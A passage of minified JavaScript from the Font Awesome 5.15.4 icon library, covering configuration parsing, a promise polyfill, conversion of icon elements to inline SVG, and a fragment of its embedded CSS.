]*)(Solid|Regular|Light|Duotone|Brands|Free|Pro|Kit).*/i,R={900:"fas",400:"far",normal:"far",300:"fal"},X=[1,2,3,4,5,6,7,8,9,10],_e=X.concat([11,12,13,14,15,16,17,18,19,20]),ct=["class","data-prefix","data-icon","data-fa-transform","data-fa-mask"],Je={GROUP:"group",SWAP_OPACITY:"swap-opacity",PRIMARY:"primary",SECONDARY:"secondary"},Et=["xs","sm","lg","fw","ul","li","border","pull-left","pull-right","spin","pulse","rotate-90","rotate-180","rotate-270","flip-horizontal","flip-vertical","flip-both","stack","stack-1x","stack-2x","inverse","layers","layers-text","layers-counter",Je.GROUP,Je.SWAP_OPACITY,Je.PRIMARY,Je.SECONDARY].concat(X.map(function(ye){return"".concat(ye,"x")})).concat(_e.map(function(ye){return"w-".concat(ye)})),Dt=ee.FontAwesomeConfig||{};q&&"function"==typeof q.querySelector&&[["data-family-prefix","familyPrefix"],["data-replacement-class","replacementClass"],["data-auto-replace-svg","autoReplaceSvg"],["data-auto-add-css","autoAddCss"],["data-auto-a11y","autoA11y"],["data-search-pseudo-elements","searchPseudoElements"],["data-observe-mutations","observeMutations"],["data-mutate-approach","mutateApproach"],["data-keep-original-source","keepOriginalSource"],["data-measure-performance","measurePerformance"],["data-show-missing-icons","showMissingIcons"]].forEach(function(ye){var st=E(ye,2),L=st[1],T=function Ie(ye){return""===ye||"false"!==ye&&("true"===ye||ye)}(function Pt(ye){var st=q.querySelector("script["+ye+"]");if(st)return st.getAttribute(ye)}(st[0]));null!=T&&(Dt[L]=T)});var m=f({},{familyPrefix:Ye,replacementClass:qe,autoReplaceSvg:!0,autoAddCss:!0,autoA11y:!0,searchPseudoElements:!1,observeMutations:!0,mutateApproach:"async",keepOriginalSource:!0,measurePerformance:!1,showMissingIcons:!0},Dt);m.autoReplaceSvg||(m.observeMutations=!1);var b=f({},m);ee.FontAwesomeConfig=b;var B=ee||{};B[Oe]||(B[Oe]={}),B[Oe].styles||(B[Oe].styles={}),B[Oe].hooks||(B[Oe].hooks={}),B[Oe].shims||(B[Oe].shims=[]);var ie=B[Oe],Xe=[],wt=!1;Ze&&((wt=(q.documentElement.doScroll?/^loaded|^c/:/^loaded|^i|^c/).test(q.readyState))||q.addEventListener("DOMContentLoaded",function ye(){q.removeEventListener("DOMContentLoaded",ye),wt=1,Xe.map(function(st){return st()})}));var be,Gt="pending",qt="settled",u1="fulfilled",c1="rejected",It=function(){},_t=typeof global<"u"&&typeof global.process<"u"&&"function"==typeof global.process.emit,kt=typeof setImmediate>"u"?setTimeout:setImmediate,Fe=[];function Pe(){for(var ye=0;ye<Fe.length;ye++)Fe[ye][0](Fe[ye][1]);Fe=[],be=!1}function Re(ye,st){Fe.push([ye,st]),be||(be=!0,kt(Pe,0))}function xe(ye){var st=ye.owner,I=st._state,L=st._data,T=ye[I],ue=ye.then;if("function"==typeof T){I=u1;try{L=T(L)}catch(gt){Ct(ue,gt)}}J(ue,L)||(I===u1&&Ae(ue,L),I===c1&&Ct(ue,L))}function J(ye,st){var I;try{if(ye===st)throw new TypeError("A promises callback cannot return that same promise.");if(st&&("function"==typeof st||"object"===n(st))){var L=st.then;if("function"==typeof L)return L.call(st,function(T){I||(I=!0,st===T?mt(ye,T):Ae(ye,T))},function(T){I||(I=!0,Ct(ye,T))}),!0}}catch(T){return I||Ct(ye,T),!0}return!1}function Ae(ye,st){(ye===st||!J(ye,st))&&mt(ye,st)}function mt(ye,st){ye._state===Gt&&(ye._state=qt,ye._data=st,Re(pt,ye))}function Ct(ye,st){ye._state===Gt&&(ye._state=qt,ye._data=st,Re(nt,ye))}function jt(ye){ye._then=ye._then.forEach(xe)}function pt(ye){ye._state=u1,jt(ye)}function nt(ye){ye._state=c1,jt(ye),!ye._handled&&_t&&global.process.emit("unhandledRejection",ye._data,ye)}function fe(ye){global.process.emit("rejectionHandled",ye)}function Ee(ye){if("function"!=typeof ye)throw new TypeError("Promise resolver "+ye+" is not a function");if(!(this instanceof Ee))throw new TypeError("Failed to construct \'Promise\': Please use the \'new\' operator, this object constructor cannot be called as a function.");this._then=[],function Ue(ye,st){function L(T){Ct(st,T)}try{ye(function I(T){Ae(st,T)},L)}catch(T){L(T)}}(ye,this)}Ee.prototype={constructor:Ee,_state:Gt,_then:null,_data:void 0,_handled:!1,then:function(st,I){var L={owner:this,then:new this.constructor(It),fulfilled:st,rejected:I};return(I||st)&&!this._handled&&(this._handled=!0,this._state===c1&&_t&&Re(fe,this)),this._state===u1||this._state===c1?Re(xe,L):this._then.push(L),L.then},catch:function(st){return this.then(null,st)}},Ee.all=function(ye){if(!Array.isArray(ye))throw new TypeError("You must pass an array to Promise.all().");return new Ee(function(st,I){var L=[],T=0;function ue(Jt){return T++,function(Tt){L[Jt]=Tt,--T||st(L)}}for(var Ot,gt=0;gt<ye.length;gt++)(Ot=ye[gt])&&"function"==typeof Ot.then?Ot.then(ue(gt),I):L[gt]=Ot;T||st(L)})},Ee.race=function(ye){if(!Array.isArray(ye))throw new TypeError("You must pass an array to Promise.race().");return new Ee(function(st,I){for(var T,L=0;L<ye.length;L++)(T=ye[L])&&"function"==typeof T.then?T.then(st,I):st(T)})},Ee.resolve=function(ye){return ye&&"object"===n(ye)&&ye.constructor===Ee?ye:new Ee(function(st){st(ye)})},Ee.reject=function(ye){return new Ee(function(st,I){I(ye)})};var at="function"==typeof Promise?Promise:Ee,Se=Qe,ot={size:16,x:0,y:0,rotate:0,flipX:!1,flipY:!1};function ut(ye){if(ye&&Ze){var st=q.createElement("style");st.setAttribute("type","text/css"),st.innerHTML=ye;for(var I=q.head.childNodes,L=null,T=I.length-1;T>-1;T--){var ue=I[T],gt=(ue.tagName||"").toUpperCase();["STYLE","LINK"].indexOf(gt)>-1&&(L=ue)}return q.head.insertBefore(st,L),ye}}var Rt="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";function Zt(){for(var ye=12,st="";ye-- >0;)st+=Rt[62*Math.random()|0];return st}function a1(ye){for(var st=[],I=(ye||[]).length>>>0;I--;)st[I]=ye[I];return st}function _1(ye){return ye.classList?a1(ye.classList):(ye.getAttribute("class")||"").split(" ").filter(function(st){return st})}function gn(ye){return"".concat(ye).replace(/&/g,"&").replace(/"/g,""").replace(/\'/g,"'").replace(/</g,"<").replace(/>/g,">")}function P1(ye){return Object.keys(ye||{}).reduce(function(st,I){return st+"".concat(I,": ").concat(ye[I],";")},"")}function on(ye){return ye.size!==ot.size||ye.x!==ot.x||ye.y!==ot.y||ye.rotate!==ot.rotate||ye.flipX||ye.flipY}function Ge(ye){var st=ye.transform,L=ye.iconWidth,T={transform:"translate(".concat(ye.containerWidth/2," 256)")},ue="translate(".concat(32*st.x,", ").concat(32*st.y,") "),gt="scale(".concat(st.size/16*(st.flipX?-1:1),", ").concat(st.size/16*(st.flipY?-1:1),") "),Ot="rotate(".concat(st.rotate," 0 0)");return{outer:T,inner:{transform:"".concat(ue," ").concat(gt," ").concat(Ot)},path:{transform:"translate(".concat(L/2*-1," -256)")}}}var Me={x:0,y:0,width:"100%",height:"100%"};function O(ye){return ye.attributes&&(ye.attributes.fill||!(arguments.length>1&&void 0!==arguments[1])||arguments[1])&&(ye.attributes.fill="black"),ye}function de(ye){return"g"===ye.tag?ye.children:[ye]}function Wt(ye){var st=ye.icons,I=st.main,L=st.mask,T=ye.prefix,ue=ye.iconName,gt=ye.transform,Ot=ye.symbol,Jt=ye.title,Tt=ye.maskId,t1=ye.titleId,O1=ye.extra,an=ye.watchable,W1=void 0!==an&&an,Bn=L.found?L:I,Dn=Bn.width,sn=Bn.height,Yn="fak"===T,qn=Yn?"":"fa-w-".concat(Math.ceil(Dn/sn*16)),xi=[b.replacementClass,ue?"".concat(b.familyPrefix,"-").concat(ue):"",qn].filter(function(rt){return-1===O1.classes.indexOf(rt)}).filter(function(rt){return""!==rt||!!rt}).concat(O1.classes).join(" "),Wn={children:[],attributes:f({},O1.attributes,{"data-prefix":T,"data-icon":ue,class:xi,role:O1.attributes.role||"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 ".concat(Dn," ").concat(sn)})},Te=Yn&&!~O1.classes.indexOf("fa-fw")?{width:"".concat(Dn/sn*16*.0625,"em")}:{};W1&&(Wn.attributes[Ke]=""),Jt&&Wn.children.push({tag:"title",attributes:{id:Wn.attributes["aria-labelledby"]||"title-".concat(t1||Zt())},children:[Jt]});var y=f({},Wn,{prefix:T,iconName:ue,main:I,mask:L,maskId:Tt,transform:gt,symbol:Ot,styles:f({},Te,O1.styles)}),D=L.found&&I.found?function h(ye){var st=ye.children,I=ye.attributes,L=ye.main,T=ye.mask,ue=ye.maskId,Jt=L.icon,t1=T.icon,O1=Ge({transform:ye.transform,containerWidth:T.width,iconWidth:L.width}),an={tag:"rect",attributes:f({},Me,{fill:"white"})},W1=Jt.children?{children:Jt.children.map(O)}:{},Bn={tag:"g",attributes:f({},O1.inner),children:[O(f({tag:Jt.tag,attributes:f({},Jt.attributes,O1.path)},W1))]},Dn={tag:"g",attributes:f({},O1.outer),children:[Bn]},sn="mask-".concat(ue||Zt()),Yn="clip-".concat(ue||Zt()),qn={tag:"mask",attributes:f({},Me,{id:sn,maskUnits:"userSpaceOnUse",maskContentUnits:"userSpaceOnUse"}),children:[an,Dn]},xi={tag:"defs",children:[{tag:"clipPath",attributes:{id:Yn},children:de(t1)},qn]};return st.push(xi,{tag:"rect",attributes:f({fill:"currentColor","clip-path":"url(#".concat(Yn,")"),mask:"url(#".concat(sn,")")},Me)}),{children:st,attributes:I}}(y):function $(ye){var st=ye.children,I=ye.attributes,L=ye.main,T=ye.transform,gt=P1(ye.styles);if(gt.length>0&&(I.style=gt),on(T)){var Ot=Ge({transform:T,containerWidth:L.width,iconWidth:L.width});st.push({tag:"g",attributes:f({},Ot.outer),children:[{tag:"g",attributes:f({},Ot.inner),children:[{tag:L.icon.tag,children:L.icon.children,attributes:f({},L.icon.attributes,Ot.path)}]}]})}else st.push(L.icon);return{children:st,attributes:I}}(y),Le=D.attributes;return y.children=D.children,y.attributes=Le,Ot?function lt(ye){var I=ye.iconName,L=ye.children,ue=ye.symbol;return[{tag:"svg",attributes:{style:"display: none;"},children:[{tag:"symbol",attributes:f({},ye.attributes,{id:!0===ue?"".concat(ye.prefix,"-").concat(b.familyPrefix,"-").concat(I):ue}),children:L}]}]}(y):function ke(ye){var st=ye.children,I=ye.main,L=ye.mask,T=ye.attributes,ue=ye.styles,gt=ye.transform;if(on(gt)&&I.found&&!L.found){var Tt={x:I.width/I.height/2,y:.5};T.style=P1(f({},ue,{"transform-origin":"".concat(Tt.x+gt.x/16,"em ").concat(Tt.y+gt.y/16,"em")}))}return[{tag:"svg",attributes:T,children:st}]}(y)}function p1(ye){var st=ye.content,I=ye.width,L=ye.height,T=ye.transform,ue=ye.title,gt=ye.extra,Ot=ye.watchable,Jt=void 0!==Ot&&Ot,Tt=f({},gt.attributes,ue?{title:ue}:{},{class:gt.classes.join(" ")});Jt&&(Tt[Ke]="");var t1=f({},gt.styles);on(T)&&(t1.transform=function vt(ye){var st=ye.transform,I=ye.width,T=ye.height,ue=void 0===T?Qe:T,gt=ye.startCentered,Ot=void 0!==gt&>,Jt="";return Jt+=Ot&&le?"translate(".concat(st.x/Se-(void 0===I?Qe:I)/2,"em, ").concat(st.y/Se-ue/2,"em) "):Ot?"translate(calc(-50% + ".concat(st.x/Se,"em), calc(-50% + ").concat(st.y/Se,"em)) "):"translate(".concat(st.x/Se,"em, ").concat(st.y/Se,"em) "),(Jt+="scale(".concat(st.size/Se*(st.flipX?-1:1),", ").concat(st.size/Se*(st.flipY?-1:1),") "))+"rotate(".concat(st.rotate,"deg) ")}({transform:T,startCentered:!0,width:I,height:L}),t1["-webkit-transform"]=t1.transform);var O1=P1(t1);O1.length>0&&(Tt.style=O1);var an=[];return an.push({tag:"span",attributes:Tt,children:[st]}),ue&&an.push({tag:"span",attributes:{class:"sr-only"},children:[ue]}),an}var Qt=function(){},h1=b.measurePerformance&&ce&&ce.mark&&ce.measure?ce:{mark:Qt,measure:Qt},N1=\'FA "5.15.4"\',T1=function(st){h1.mark("".concat(N1," ").concat(st," ends")),h1.measure("".concat(N1," ").concat(st),"".concat(N1," ").concat(st," begins"),"".concat(N1," ").concat(st," ends"))},V1={begin:function(st){return h1.mark("".concat(N1," ").concat(st," begins")),function(){return T1(st)}},end:T1},E1=function(st,I,L,T){var Jt,Tt,t1,ue=Object.keys(st),gt=ue.length,Ot=void 0!==T?function(st,I){return function(L,T,ue,gt){return st.call(I,L,T,ue,gt)}}(I,T):I;for(void 0===L?(Jt=1,t1=st[ue[0]]):(Jt=0,t1=L);Jt<gt;Jt++)t1=Ot(t1,st[Tt=ue[Jt]],Tt,st);return t1};function In(ye){for(var st="",I=0;I<ye.length;I++)st+=("000"+ye.charCodeAt(I).toString(16)).slice(-4);return st}function Gn(ye,st){var L=(arguments.length>2&&void 0!==arguments[2]?arguments[2]:{}).skipHooks,T=void 0!==L&&L,ue=Object.keys(st).reduce(function(gt,Ot){var Jt=st[Ot];return Jt.icon?gt[Jt.iconName]=Jt.icon:gt[Ot]=Jt,gt},{});"function"!=typeof ie.hooks.addPack||T?ie.styles[ye]=f({},ie.styles[ye]||{},ue):ie.hooks.addPack(ye,ue),"fas"===ye&&Gn("fa",st)}var D1=ie.styles,ci=ie.shims,fn={},Rn={},cn={},X1=function(){var st=function(T){return E1(D1,function(ue,gt,Ot){return ue[Ot]=E1(gt,T,{}),ue},{})};fn=st(function(L,T,ue){return T[3]&&(L[T[3]]=ue),L}),Rn=st(function(L,T,ue){var gt=T[2];return L[ue]=ue,gt.forEach(function(Ot){L[Ot]=ue}),L});var I="far"in D1;cn=E1(ci,function(L,T){var gt=T[1];return"far"===gt&&!I&&(gt="fas"),L[T[0]]={prefix:gt,iconName:T[2]},L},{})};function Pn(ye,st){return(fn[ye]||{})[st]}X1();var $n=ie.styles,li=function(){return{prefix:null,iconName:null,rest:[]}};function L1(ye){return ye.reduce(function(st,I){var L=function G1(ye,st){var I=st.split("-"),L=I[0],T=I.slice(1).join("-");return L!==ye||""===T||function Ne(ye){return~Et.indexOf(ye)}(T)?null:T}(b.familyPrefix,I);if($n[I])st.prefix=I;else if(b.autoFetchSvg&&Object.keys(Be).indexOf(I)>-1)st.prefix=I;else if(L){var T="fa"===st.prefix?function An(ye){return cn[ye]||{prefix:null,iconName:null}}(L):{};st.iconName=T.iconName||L,st.prefix=T.prefix||st.prefix}else I!==b.replacementClass&&0!==I.indexOf("fa-w-")&&st.rest.push(I);return st},li())}function Cn(ye,st,I){if(ye&&ye[st]&&ye[st][I])return{prefix:st,iconName:I,icon:ye[st][I]}}function Mn(ye){var st=ye.tag,I=ye.attributes,L=void 0===I?{}:I,T=ye.children,ue=void 0===T?[]:T;return"string"==typeof ye?gn(ye):"<".concat(st," ").concat(function nn(ye){return Object.keys(ye||{}).reduce(function(st,I){return st+"".concat(I,\'="\').concat(gn(ye[I]),\'" \')},"").trim()}(L),">").concat(ue.map(Mn).join(""),"</").concat(st,">")}var di=function(){};function ri(ye){return"string"==typeof(ye.getAttribute?ye.getAttribute(Ke):null)}var Nn={replace:function(st){var I=st[0],T=st[1].map(function(gt){return Mn(gt)}).join("\\n");if(I.parentNode&&I.outerHTML)I.outerHTML=T+(b.keepOriginalSource&&"svg"!==I.tagName.toLowerCase()?"\\x3c!-- ".concat(I.outerHTML," Font Awesome fontawesome.com --\\x3e"):"");else if(I.parentNode){var ue=document.createElement("span");I.parentNode.replaceChild(ue,I),ue.outerHTML=T}},nest:function(st){var I=st[0],L=st[1];if(~_1(I).indexOf(b.replacementClass))return Nn.replace(st);var T=new RegExp("".concat(b.familyPrefix,"-.*"));delete L[0].attributes.style,delete L[0].attributes.id;var ue=L[0].attributes.class.split(" ").reduce(function(Ot,Jt){return Jt===b.replacementClass||Jt.match(T)?Ot.toSvg.push(Jt):Ot.toNode.push(Jt),Ot},{toNode:[],toSvg:[]});L[0].attributes.class=ue.toSvg.join(" ");var gt=L.map(function(Ot){return Mn(Ot)}).join("\\n");I.setAttribute("class",ue.toNode.join(" ")),I.setAttribute(Ke,""),I.innerHTML=gt}};function ln(ye){ye()}function u2(ye,st){var I="function"==typeof st?st:di;if(0===ye.length)I();else{var L=ln;b.mutateApproach===ve&&(L=ee.requestAnimationFrame||ln),L(function(){var T=function _i(){return!0===b.autoReplaceSvg?Nn.replace:Nn[b.autoReplaceSvg]||Nn.replace}(),ue=V1.begin("mutate");ye.map(T),ue(),I()})}}var dn=!1;function Ei(){dn=!1}var Hn=null;var zi=function(st){var I={size:16,x:0,y:0,flipX:!1,flipY:!1,rotate:0};return st?st.toLowerCase().split(" ").reduce(function(L,T){var ue=T.toLowerCase().split("-"),gt=ue[0],Ot=ue.slice(1).join("-");if(gt&&"h"===Ot)return L.flipX=!0,L;if(gt&&"v"===Ot)return L.flipY=!0,L;if(Ot=parseFloat(Ot),isNaN(Ot))return L;switch(gt){case"grow":L.size=L.size+Ot;break;case"shrink":L.size=L.size-Ot;break;case"left":L.x=L.x-Ot;break;case"right":L.x=L.x+Ot;break;case"up":L.y=L.y-Ot;break;case"down":L.y=L.y+Ot;break;case"rotate":L.rotate=L.rotate+Ot}return L},I):I};function Ni(ye){var st=function Qi(ye){var st=ye.getAttribute("data-prefix"),I=ye.getAttribute("data-icon"),L=void 0!==ye.innerText?ye.innerText.trim():"",T=L1(_1(ye));return st&&I&&(T.prefix=st,T.iconName=I),T.prefix&&L.length>1?T.iconName=function Fn(ye,st){return(Rn[ye]||{})[st]}(T.prefix,ye.innerText):T.prefix&&1===L.length&&(T.iconName=Pn(T.prefix,In(ye.innerText))),T}(ye),I=st.iconName,L=st.prefix,T=st.rest,ue=function Fi(ye){var st=ye.getAttribute("style"),I=[];return st&&(I=st.split(";").reduce(function(L,T){var ue=T.split(":"),gt=ue[0],Ot=ue.slice(1);return gt&&Ot.length>0&&(L[gt]=Ot.join(":").trim()),L},{})),I}(ye),gt=function hi(ye){return zi(ye.getAttribute("data-fa-transform"))}(ye),Ot=function Kn(ye){var st=ye.getAttribute("data-fa-symbol");return null!==st&&(""===st||st)}(ye),Jt=function Ti(ye){var st=a1(ye.attributes).reduce(function(T,ue){return"class"!==T.name&&"style"!==T.name&&(T[ue.name]=ue.value),T},{}),I=ye.getAttribute("title"),L=ye.getAttribute("data-fa-title-id");return b.autoA11y&&(I?st["aria-labelledby"]="".concat(b.replacementClass,"-title-").concat(L||Zt()):(st["aria-hidden"]="true",st.focusable="false")),st}(ye),Tt=function qi(ye){var st=ye.getAttribute("data-fa-mask");return st?L1(st.split(" ").map(function(I){return I.trim()})):li()}(ye);return{iconName:I,title:ye.getAttribute("title"),titleId:ye.getAttribute("data-fa-title-id"),prefix:L,transform:gt,symbol:Ot,mask:Tt,maskId:ye.getAttribute("data-fa-mask-id"),extra:{classes:T,styles:ue,attributes:Jt}}}function ei(ye){this.name="MissingIcon",this.message=ye||"Icon unavailable",this.stack=(new Error).stack}(ei.prototype=Object.create(Error.prototype)).constructor=ei;var Zn={fill:"currentColor"},Hi={attributeType:"XML",repeatCount:"indefinite",dur:"2s"},f2={tag:"path",attributes:f({},Zn,{d:"M156.5,447.7l-12.6,29.5c-18.7-9.5-35.9-21.2-51.5-34.9l22.7-22.7C127.6,430.5,141.5,440,156.5,447.7z M40.6,272H8.5 c1.4,21.2,5.4,41.7,11.7,61.1L50,321.2C45.1,305.5,41.8,289,40.6,272z M40.6,240c1.4-18.8,5.2-37,11.1-54.1l-29.5-12.6 C14.7,194.3,10,216.7,8.5,240H40.6z M64.3,156.5c7.8-14.9,17.2-28.8,28.1-41.5L69.7,92.3c-13.7,15.6-25.5,32.8-34.9,51.5 L64.3,156.5z M397,419.6c-13.9,12-29.4,22.3-46.1,30.4l11.9,29.8c20.7-9.9,39.8-22.6,56.9-37.6L397,419.6z M115,92.4 c13.9-12,29.4-22.3,46.1-30.4l-11.9-29.8c-20.7,9.9-39.8,22.6-56.8,37.6L115,92.4z M447.7,355.5c-7.8,14.9-17.2,28.8-28.1,41.5 l22.7,22.7c13.7-15.6,25.5-32.9,34.9-51.5L447.7,355.5z M471.4,272c-1.4,18.8-5.2,37-11.1,54.1l29.5,12.6 c7.5-21.1,12.2-43.5,13.6-66.8H471.4z M321.2,462c-15.7,5-32.2,8.2-49.2,9.4v32.1c21.2-1.4,41.7-5.4,61.1-11.7L321.2,462z M240,471.4c-18.8-1.4-37-5.2-54.1-11.1l-12.6,29.5c21.1,7.5,43.5,12.2,66.8,13.6V471.4z M462,190.8c5,15.7,8.2,32.2,9.4,49.2h32.1 c-1.4-21.2-5.4-41.7-11.7-61.1L462,190.8z M92.4,397c-12-13.9-22.3-29.4-30.4-46.1l-29.8,11.9c9.9,20.7,22.6,39.8,37.6,56.9 L92.4,397z M272,40.6c18.8,1.4,36.9,5.2,54.1,11.1l12.6-29.5C317.7,14.7,295.3,10,272,8.5V40.6z M190.8,50 c15.7-5,32.2-8.2,49.2-9.4V8.5c-21.2,1.4-41.7,5.4-61.1,11.7L190.8,50z M442.3,92.3L419.6,115c12,13.9,22.3,29.4,30.5,46.1 l29.8-11.9C470,128.5,457.3,109.4,442.3,92.3z M397,92.4l22.7-22.7c-15.6-13.7-32.8-25.5-51.5-34.9l-12.6,29.5 C370.4,72.1,384.4,81.5,397,92.4z"})},Vi=f({},Hi,{attributeName:"opacity"}),Bi={tag:"g",children:[f2,{tag:"circle",attributes:f({},Zn,{cx:"256",cy:"364",r:"28"}),children:[{tag:"animate",attributes:f({},Hi,{attributeName:"r",values:"28;14;28;28;14;28;"})},{tag:"animate",attributes:f({},Vi,{values:"1;0;1;1;0;1;"})}]},{tag:"path",attributes:f({},Zn,{opacity:"1",d:"M263.7,312h-16c-6.6,0-12-5.4-12-12c0-71,77.4-63.9,77.4-107.8c0-20-17.8-40.2-57.4-40.2c-29.1,0-44.3,9.6-59.2,28.7 c-3.9,5-11.1,6-16.2,2.4l-13.1-9.2c-5.6-3.9-6.9-11.8-2.6-17.2c21.2-27.2,46.4-44.7,91.2-44.7c52.3,0,97.4,29.8,97.4,80.2 c0,67.6-77.4,63.5-77.4,107.8C275.7,306.6,270.3,312,263.7,312z"}),children:[{tag:"animate",attributes:f({},Vi,{values:"1;0;0;0;0;1;"})}]},{tag:"path",attributes:f({},Zn,{opacity:"0",d:"M232.5,134.5l7,168c0.3,6.4,5.6,11.5,12,11.5h9c6.4,0,11.7-5.1,12-11.5l7-168c0.3-6.8-5.2-12.5-12-12.5h-23 C237.7,122,232.2,127.7,232.5,134.5z"}),children:[{tag:"animate",attributes:f({},Vi,{values:"0;0;1;1;0;0;"})}]}]},Ji=ie.styles;function bi(ye){var st=ye[0],I=ye[1],ue=E(ye.slice(4),1)[0];return{found:!0,width:st,height:I,icon:Array.isArray(ue)?{tag:"g",attributes:{class:"".concat(b.familyPrefix,"-").concat(Je.GROUP)},children:[{tag:"path",attributes:{class:"".concat(b.familyPrefix,"-").concat(Je.SECONDARY),fill:"currentColor",d:ue[0]}},{tag:"path",attributes:{class:"".concat(b.familyPrefix,"-").concat(Je.PRIMARY),fill:"currentColor",d:ue[1]}}]}:{tag:"path",attributes:{fill:"currentColor",d:ue}}}}function mn(ye,st){return new at(function(I,L){var T={found:!1,width:512,height:512,icon:Bi};if(ye&&st&&Ji[st]&&Ji[st][ye])return I(bi(Ji[st][ye]));ye&&st&&!b.showMissingIcons?L(new ei("Icon is missing for prefix ".concat(st," with icon name ").concat(ye))):I(T)})}var ai=ie.styles;function Ui(ye){var st=Ni(ye);return~st.extra.classes.indexOf(P)?function fi(ye,st){var I=st.title,L=st.transform,T=st.extra,ue=null,gt=null;if(le){var Ot=parseInt(getComputedStyle(ye).fontSize,10),Jt=ye.getBoundingClientRect();ue=Jt.width/Ot,gt=Jt.height/Ot}return b.autoA11y&&!I&&(T.attributes["aria-hidden"]="true"),at.resolve([ye,p1({content:ye.innerHTML,width:ue,height:gt,transform:L,title:I,extra:T,watchable:!0})])}(ye,st):function jn(ye,st){var I=st.iconName,L=st.title,T=st.titleId,ue=st.prefix,gt=st.transform,Ot=st.symbol,Jt=st.mask,Tt=st.maskId,t1=st.extra;return new at(function(O1,an){at.all([mn(I,ue),mn(Jt.iconName,Jt.prefix)]).then(function(W1){var Bn=E(W1,2),sn=Bn[1];O1([ye,Wt({icons:{main:Bn[0],mask:sn},prefix:ue,iconName:I,transform:gt,symbol:Ot,mask:sn,maskId:Tt,title:L,titleId:T,extra:t1,watchable:!0})])})})}(ye,st)}function o2(ye){var st=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;if(Ze){var I=q.documentElement.classList,L=function(O1){return I.add("".concat(re,"-").concat(O1))},T=function(O1){return I.remove("".concat(re,"-").concat(O1))},ue=Object.keys(b.autoFetchSvg?Be:ai),gt=[".".concat(P,":not([").concat(Ke,"])")].concat(ue.map(function(t1){return".".concat(t1,":not([").concat(Ke,"])")})).join(", ");if(0!==gt.length){var Ot=[];try{Ot=a1(ye.querySelectorAll(gt))}catch{}if(!(Ot.length>0))return;L("pending"),T("complete");var Jt=V1.begin("onTree"),Tt=Ot.reduce(function(t1,O1){try{var an=Ui(O1);an&&t1.push(an)}catch(W1){xt||W1 instanceof ei&&console.error(W1)}return t1},[]);return new at(function(t1,O1){at.all(Tt).then(function(an){u2(an,function(){L("active"),L("complete"),T("pending"),"function"==typeof st&&st(),Jt(),t1()})}).catch(function(){Jt(),O1()})})}}}function Li(ye){var st=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;Ui(ye).then(function(I){I&&u2([I],st)})}function ki(ye,st){var I="".concat(bt).concat(st.replace(":","-"));return new at(function(L,T){if(null!==ye.getAttribute(I))return L();var gt=a1(ye.children).filter(function(qn){return qn.getAttribute(dt)===st})[0],Ot=ee.getComputedStyle(ye,st),Jt=Ot.getPropertyValue("font-family").match(w),Tt=Ot.getPropertyValue("font-weight"),t1=Ot.getPropertyValue("content");if(gt&&!Jt)return ye.removeChild(gt),L();if(Jt&&"none"!==t1&&""!==t1){var O1=Ot.getPropertyValue("content"),an=~["Solid","Regular","Light","Duotone","Brands","Kit"].indexOf(Jt[2])?pe[Jt[2].toLowerCase()]:R[Tt],W1=In(3===O1.length?O1.substr(1,1):O1),Bn=Pn(an,W1),Dn=Bn;if(!Bn||gt&>.getAttribute(ze)===an&>.getAttribute(De)===Dn)L();else{ye.setAttribute(I,Dn),gt&&ye.removeChild(gt);var sn=function h2(){return{iconName:null,title:null,titleId:null,prefix:null,transform:ot,symbol:!1,mask:null,maskId:null,extra:{classes:[],styles:{},attributes:{}}}}(),Yn=sn.extra;Yn.attributes[dt]=st,mn(Bn,an).then(function(qn){var xi=Wt(f({},sn,{icons:{main:qn,mask:li()},prefix:an,iconName:Dn,extra:Yn,watchable:!0})),Wn=q.createElement("svg");":before"===st?ye.insertBefore(Wn,ye.firstChild):ye.appendChild(Wn),Wn.outerHTML=xi.map(function(Te){return Mn(Te)}).join("\\n"),ye.removeAttribute(I),L()}).catch(T)}}else L()})}function Ci(ye){return at.all([ki(ye,":before"),ki(ye,":after")])}function ti(ye){return!(ye.parentNode===document.head||~We.indexOf(ye.tagName.toUpperCase())||ye.getAttribute(dt)||ye.parentNode&&"svg"===ye.parentNode.tagName)}function Oi(ye){if(Ze)return new at(function(st,I){var L=a1(ye.querySelectorAll("*")).filter(ti).map(Ci),T=V1.begin("searchPseudoElements");(function Sn(){dn=!0})(),at.all(L).then(function(){T(),Ei(),st()}).catch(function(){T(),Ei(),I()})})}var Xi=\'svg:not(:root).svg-inline--fa {\\n overflow: visible;\\n}\\n\\n.svg-inline--fa {\\n display: inline-block;\\n font-size: inherit;\\n height: 1em;\\n overflow: visible;\\n vertical-align: -0.125em;\\n}\\n.svg-inline--fa.fa-lg {\\n vertical-align: -0.225em;\\n}\\n.svg-inline--fa.fa-w-1 {\\n width: 0.0625em;\\n}\\n.svg-inline--fa.fa-w-2 {\\n width: 0.125em;\\n}\\n.svg-inline--fa.fa-w-3 {\\n width: 0.1875em;\\n}\\n.svg-inline--fa.fa-w-4 {\\n width: 0.25em;\\n}\\n.svg-inline--fa.fa-w-5 {\\n width: 0.3125em;\\n}\\n.svg-inline--fa.fa-w-6 {\\n width: 0.375em;\\n}\\n.svg-inline--fa.fa-w-7 {\\n width: 0.4375em;\\n}\\n.svg-inline--fa.fa-w-8 {\\n width: 0.5em;\\n}\\n.svg-inline--fa.fa-w-9 {\\n width: 0.5625em;\\n}\\n.svg-inline--fa.fa-w-10 {\\n width: 0.625em;\\n}\\n.svg-inline--fa.fa-w-11 {\\n width: 0.6875em;\\n}\\n.svg-inline--fa.fa-w-12 {\\n width: 0.75em;\\n}\\n.svg-inline--fa.fa-w-13 {\\n width: 0.8125em;\\n}\\n.svg-inline--fa.fa-w-14 {\\n width: 0.875em;\\n}\\n.svg-inline--fa.fa-w-15 {\\n width: 0.9375em;\\n}\\n.svg-inline--fa.fa-w-16 {\\n width: 1em;\\n}\\n.svg-inline--fa.fa-w-17 {\\n width: 1.0625em;\\n}\\n.svg-inline--fa.fa-w-18 {\\n width: 1.125em;\\n}\\n.svg-inline--fa.fa-w-19 {\\n width: 1.1875em;\\n}\\n.svg-inline--fa.fa-w-20 {\\n width: 1.25em;\\n}\\n.svg-inline--fa.fa-pull-left {\\n margin-right: 0.3em;\\n width: auto;\\n}\\n.svg-inline--fa.fa-pull-right {\\n margin-left: 0.3em;\\n width: auto;\\n}\\n.svg-inline--fa.fa-border {\\n height: 1.5em;\\n}\\n.svg-inline--fa.fa-li {\\n width: 2em;\\n}\\n.svg-inline--fa.fa-fw {\\n width: 